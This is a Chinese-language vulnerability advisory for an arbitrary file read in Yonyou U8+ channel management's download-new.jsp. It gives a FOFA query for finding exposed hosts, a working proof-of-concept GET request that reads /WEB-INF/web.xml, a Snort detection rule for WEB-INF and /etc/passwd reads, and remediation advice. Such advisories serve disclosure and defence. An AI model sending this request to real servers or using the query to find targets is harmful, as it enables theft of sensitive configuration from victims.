用友U8+渠道管理(高级版) download-new.jsp 任意文件读取漏洞¶
用友U8+渠道管理(高级版) download-new.jsp 任意文件读取漏洞,攻击者可进行文件读取,获取重要敏感配置信息。
影响版本¶
用友U8+
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA:"common/images/dot.gif" && (icon_hash="737647198" || icon_hash="84729000")
POC/EXP:
GET /business/common/download-new.jsp?filename=&page=/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

sonrt规则:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"Yonyou U8+ - Arbitrary File Read via download-new.jsp";
flow:to_server,established;
content:"GET"; http_method;
content:"/business/common/download-new.jsp"; http_uri;
content:"page="; http_uri;
pcre:"/page=\/[^&]*(WEB-INF|etc\/passwd)/i";
metadata:service http;
metadata:affected_product "用友U8+渠道管理系统";
metadata:vulnerability_type "Directory Traversal";
classtype:web-application-attack;
sid:1000401;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限
升级至安全版本。